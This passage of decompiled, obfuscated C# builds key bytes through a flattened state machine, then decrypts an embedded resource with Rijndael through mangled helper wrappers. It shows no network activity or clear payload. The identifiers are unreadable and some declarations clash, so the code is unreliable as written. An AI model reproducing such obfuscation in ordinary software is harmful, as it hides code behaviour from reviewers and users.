numArray2[13] = (byte) (37 + 50);
num5 = 168;
continue;
label_39:
num2 = 128 + 105;
num5 = 170;
continue;
label_43:
numArray2[0] = (byte) (83 + 114);
num5 = 8;
continue;
label_44:
numArray1[15] = (byte) num1;
num5 = 113;
continue;
label_45:
numArray2[12] = (byte) num2;
num5 = 5;
continue;
label_49:
numArray1[13] = (byte) num1;
num5 = 287;
continue;
label_51:
num1 = 24 + 89;
num5 = 36;
continue;
label_63:
numArray2[17] = (byte) num2;
num5 = 223;
continue;
label_64:
numArray5 = numArray2;
num5 = 25;
continue;
label_68:
numArray2[3] = (byte) num2;
num5 = 21;
continue;
label_70:
num2 = 70 + 7;
num5 = 161;
continue;
label_71:
numArray2[22] = (byte) (137 - 60);
num5 = 151;
continue;
label_72:
numArray1 = new byte[16];
num5 = 172;
continue;
label_73:
numArray1[12] = (byte) num1;
num5 = 203;
continue;
label_79:
numArray1[9] = (byte) (153 - 51);
num5 = 102;
continue;
label_88:
num1 = 102 + 72;
num5 = 43;
continue;
label_90:
numArray2[6] = (byte) (194 - 64);
num5 = (int) byte.MaxValue;
continue;
label_94:
num2 = 202 - 92;
num5 = 10;
continue;
label_95:
numArray1[10] = (byte) (27 + 1);
num5 = 224;
continue;
label_106:
numArray2[27] = (byte) num2;
num5 = 300;
continue;
label_114:
num2 = 143 - 47;
num5 = 181;
continue;
label_117:
numArray2[21] = (byte) num2;
num5 = 331;
continue;
label_119:
\u0002.\u0004((object) cryptoStream);
num5 = 337;
continue;
label_120:
numArray2[28] = (byte) num2;
num5 = 200;
continue;
label_122:
numArray2[4] = (byte) num2;
num5 = 37;
continue;
label_125:
num2 = 12 + 81;
num5 = 277;
continue;
label_129:
numArray2[19] = (byte) num2;
num5 = 177;
continue;
label_133:
numArray2[30] = (byte) num2;
num5 = 41;
continue;
label_141:
numArray1[14] = (byte) (240 - 80);
num5 = 121;
continue;
label_142:
numArray2[28] = (byte) num2;
num5 = 104;
continue;
label_146:
num2 = 96 + 66;
num5 = 71;
continue;
label_153:
numArray2[26] = (byte) num2;
num5 = 312;
continue;
label_154:
numArray1[11] = (byte) (145 - 48);
num5 = 110;
continue;
label_156:
num1 = 158 - 52;
num5 = 117;
continue;
label_157:
numArray2[27] = (byte) num2;
num5 = (int) sbyte.MaxValue;
continue;
label_159:
num2 = 119 + 50;
num5 = 317;
continue;
label_162:
num1 = 58 + 113;
num5 = 328;
continue;
label_172:
numArray3[9] = numArray4[4];
num5 = 314;
continue;
label_174:
numArray2[22] = (byte) num2;
num5 = 14;
continue;
label_176:
num2 = 133 - 44;
num5 = 268;
continue;
label_181:
numArray2[29] = (byte) num2;
num5 = 194;
continue;
label_183:
numArray1[7] = (byte) (191 + 34);
num5 = 45;
continue;
label_187:
numArray2[20] = (byte) num2;
num5 = 227;
continue;
label_189:
numArray2[31] = (byte) num2;
num5 = 332;
continue;
label_191:
numArray2[3] = (byte) num2;
num5 = 244;
continue;
label_194:
numArray2[31] = (byte) num2;
num5 = 63;
continue;
label_196:
numArray2[26] = (byte) num2;
num5 = 210;
continue;
label_199:
numArray2[25] = (byte) (22 + 18);
num5 = 242;
continue;
label_202:
numArray2[9] = (byte) num2;
num5 = 325;
continue;
label_206:
numArray1[12] = (byte) num1;
num5 = 184;
continue;
label_208:
numArray2[15] = (byte) num2;
num5 = 128;
continue;
label_209:
num1 = 91 + 84;
num5 = 143;
continue;
label_215:
num1 = 30 + 108;
num5 = 49;
continue;
label_219:
num2 = 112 + 31;
num5 = 304;
continue;
label_220:
numArray1[7] = (byte) (198 - 66);
num5 = 134;
continue;
label_229:
numArray2[24] = (byte) num2;
num5 = 167;
continue;
label_233:
numArray2[27] = (byte) num2;
num5 = 320;
continue;
label_239:
numArray1[13] = (byte) num1;
num5 = 105;
continue;
label_242:
num2 = 20 + 67;
num5 = 339;
continue;
label_244:
numArray1[5] = (byte) (85 - 59);
num5 = 132;
continue;
label_245:
num2 = 37 + 121;
num5 = 16;
continue;
label_248:
numArray2[30] = (byte) (145 + 70);
num5 = 289;
continue;
label_254:
numArray1[3] = (byte) (193 - 64);
num5 = 330;
continue;
label_259:
numArray2[18] = (byte) (30 + 97);
num5 = 327;
continue;
label_260:
num1 = 134 - 44;
num5 = 83;
continue;
label_265:
\u0002.\u0003((object) cryptoStream, (object) numArray6, 0, numArray6.Length);
num5 = 202;
continue;
label_267:
numArray2[15] = (byte) num2;
num5 = 59;
continue;
label_269:
numArray2[12] = (byte) (233 - 77);
num5 = 324;
continue;
label_273:
numArray1[0] = (byte) num1;
num5 = 271;
continue;
label_276:
numArray1[11] = (byte) num1;
num5 = 259;
continue;
label_277:
num2 = 229 - 76;
num5 = 101;
continue;
label_283:
numArray2[28] = (byte) num2;
num5 = 31;
continue;
label_291:
num2 = 182 - 60;
num5 = 178;
continue;
label_294:
numArray2[8] = (byte) num2;
num5 = 240;
continue;
label_297:
numArray2[19] = (byte) (9 + 84);
num5 = 217;
continue;
label_304:
numArray2[28] = (byte) (37 + 46);
num5 = 48;
continue;
label_314:
numArray1[1] = (byte) (81 + 90);
num5 = 186;
continue;
label_322:
num2 = 119 + 17;
num5 = 33;
continue;
label_323:
numArray2[9] = (byte) num2;
num5 = 149;
continue;
label_327:
numArray2[22] = (byte) (176 - 58);
num5 = 183;
continue;
label_328:
num2 = 45 + 94;
num5 = 214;
continue;
label_329:
numArray1[12] = (byte) (70 + 81);
num5 = 82;
}
}
catch (Exception ex)
{
int num7;
string str1;
string str2;
string str3;
byte[] numArray7;
byte[] numArray8;
int num8;
object[] objArray = new object[23]
{
(object) num1,
(object) numArray1,
(object) num2,
(object) cryptoStream,
(object) num4,
(object) numArray6,
(object) binaryReader,
(object) num7,
(object) str1,
(object) str2,
(object) numArray5,
(object) rijndaelManaged,
(object) numArray2,
(object) numArray4,
(object) transform,
(object) str3,
(object) numArray7,
(object) numArray3,
(object) numArray8,
(object) memoryStream,
(object) num8,
(object) num3,
(object) obj0
};
throw UnhandledException.\u0003(ex, objArray);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
public \u0002()
{
try
{
}
catch (Exception ex)
{
throw UnhandledException.\u0003(ex, (object) this);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static Type \u0003([In] RuntimeTypeHandle obj0)
{
try
{
return Type.GetTypeFromHandle(obj0);
}
catch (Exception ex)
{
// ISSUE: variable of a boxed type
__Boxed<RuntimeTypeHandle> local = (ValueType) obj0;
throw UnhandledException.\u0003(ex, (object) local);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object \u0003([In] object obj0, [In] object obj1)
{
try
{
return (object) ((Assembly) obj0).GetManifestResourceStream((string) obj1);
}
catch (Exception ex)
{
object obj2 = obj0;
object obj3 = obj1;
throw UnhandledException.\u0003(ex, obj2, obj3);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object \u0003([In] object obj0)
{
try
{
return (object) ((BinaryReader) obj0).BaseStream;
}
catch (Exception ex)
{
object obj = obj0;
throw UnhandledException.\u0003(ex, obj);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void \u0003([In] object obj0, [In] long obj1)
{
try
{
((Stream) obj0).Position = obj1;
}
catch (Exception ex)
{
object obj = obj0;
// ISSUE: variable of a boxed type
__Boxed<long> local = (ValueType) obj1;
throw UnhandledException.\u0003(ex, obj, (object) local);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void \u0003([In] bool obj0)
{
try
{
RSACryptoServiceProvider.UseMachineKeyStore = obj0;
}
catch (Exception ex)
{
// ISSUE: variable of a boxed type
__Boxed<bool> local = (ValueType) obj0;
throw UnhandledException.\u0003(ex, (object) local);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static long \u0003([In] object obj0)
{
try
{
return ((Stream) obj0).Length;
}
catch (Exception ex)
{
object obj = obj0;
throw UnhandledException.\u0003(ex, obj);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object \u0003([In] object obj0, [In] int obj1)
{
try
{
return (object) ((BinaryReader) obj0).ReadBytes(obj1);
}
catch (Exception ex)
{
object obj = obj0;
// ISSUE: variable of a boxed type
__Boxed<int> local = (ValueType) obj1;
throw UnhandledException.\u0003(ex, obj, (object) local);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object \u0004([In] object obj0)
{
try
{
return (object) ((Assembly) obj0).GetName();
}
catch (Exception ex)
{
object obj = obj0;
throw UnhandledException.\u0003(ex, obj);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object \u0005([In] object obj0)
{
try
{
return (object) ((AssemblyName) obj0).GetPublicKeyToken();
}
catch (Exception ex)
{
object obj = obj0;
throw UnhandledException.\u0003(ex, obj);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void \u0003([In] object obj0, [In] CipherMode obj1)
{
try
{
((SymmetricAlgorithm) obj0).Mode = obj1;
}
catch (Exception ex)
{
object obj = obj0;
// ISSUE: variable of a boxed type
__Boxed<CipherMode> local = (Enum) obj1;
throw UnhandledException.\u0003(ex, obj, (object) local);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object \u0003([In] object obj0, [In] object obj1, [In] object obj2)
{
try
{
return (object) ((SymmetricAlgorithm) obj0).CreateDecryptor((byte[]) obj1, (byte[]) obj2);
}
catch (Exception ex)
{
object obj3 = obj0;
object obj4 = obj1;
object obj5 = obj2;
throw UnhandledException.\u0003(ex, obj3, obj4, obj5);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void \u0003([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3)
{
try
{
((Stream) obj0).Write((byte[]) obj1, obj2, obj3);
}
catch (Exception ex)
{
object obj4 = obj0;
object obj5 = obj1;
// ISSUE: variable of a boxed type
__Boxed<int> local1 = (ValueType) obj2;
// ISSUE: variable of a boxed type
__Boxed<int> local2 = (ValueType) obj3;
throw UnhandledException.\u0003(ex, obj4, obj5, (object) local1, (object) local2);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void \u0003([In] object obj0)
{
try
{
((CryptoStream) obj0).FlushFinalBlock();
}
catch (Exception ex)
{
object obj = obj0;
throw UnhandledException.\u0003(ex, obj);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object \u0006([In] object obj0)
{
try
{
return (object) ((MemoryStream) obj0).ToArray();
}
catch (Exception ex)
{
object obj = obj0;
throw UnhandledException.\u0003(ex, obj);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void \u0004([In] object obj0)
{
try
{
((Stream) obj0).Close();
}
catch (Exception ex)
{
object obj = obj0;
throw UnhandledException.\u0003(ex, obj);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void \u0005([In] object obj0)
{
try
{
((BinaryReader) obj0).Close();
}
catch (Exception ex)
{
object obj = obj0;
throw UnhandledException.\u0003(ex, obj);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static int \u0003([In] object obj0, [In] int obj1)
{
try
{
return BitConverter.ToInt32((byte[]) obj0, obj1);
}
catch (Exception ex)
{
object obj = obj0;
// ISSUE: variable of a boxed type
__Boxed<int> local = (ValueType) obj1;
throw UnhandledException.\u0003(ex, obj, (object) local);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object \u0003()
{
try
{
return (object) Encoding.Unicode;
}
catch (Exception ex)
{
throw UnhandledException.\u0003(ex);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object \u0003([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3)
{
try
{
return (object) ((Encoding) obj0).GetString((byte[]) obj1, obj2, obj3);
}
catch (Exception ex)
{
object obj4 = obj0;
object obj5 = obj1;
// ISSUE: variable of a boxed type
__Boxed<int> local1 = (ValueType) obj2;
// ISSUE: variable of a boxed type
__Boxed<int> local2 = (ValueType) obj3;
throw UnhandledException.\u0003(ex, obj4, obj5, (object) local1, (object) local2);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static bool \u0003()
{
try
{
return true;
}
catch (Exception ex)
{
throw UnhandledException.\u0003(ex);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static bool \u0004()
{
try
{
return false;
}
catch (Exception ex)
{
throw UnhandledException.\u0003(ex);
}
}
internal delegate uint \u0001(
[MarshalAs(UnmanagedType.U8)] ref ulong _param1,
[In] IntPtr obj1,
[In] IntPtr obj2,
[MarshalAs(UnmanagedType.U4)] uint _param4,
[In] ref IntPtr obj4,
[In] ref uint obj5);
internal struct \u0002
{
internal bool \u0001;
internal byte[] \u0001;
}
}
}
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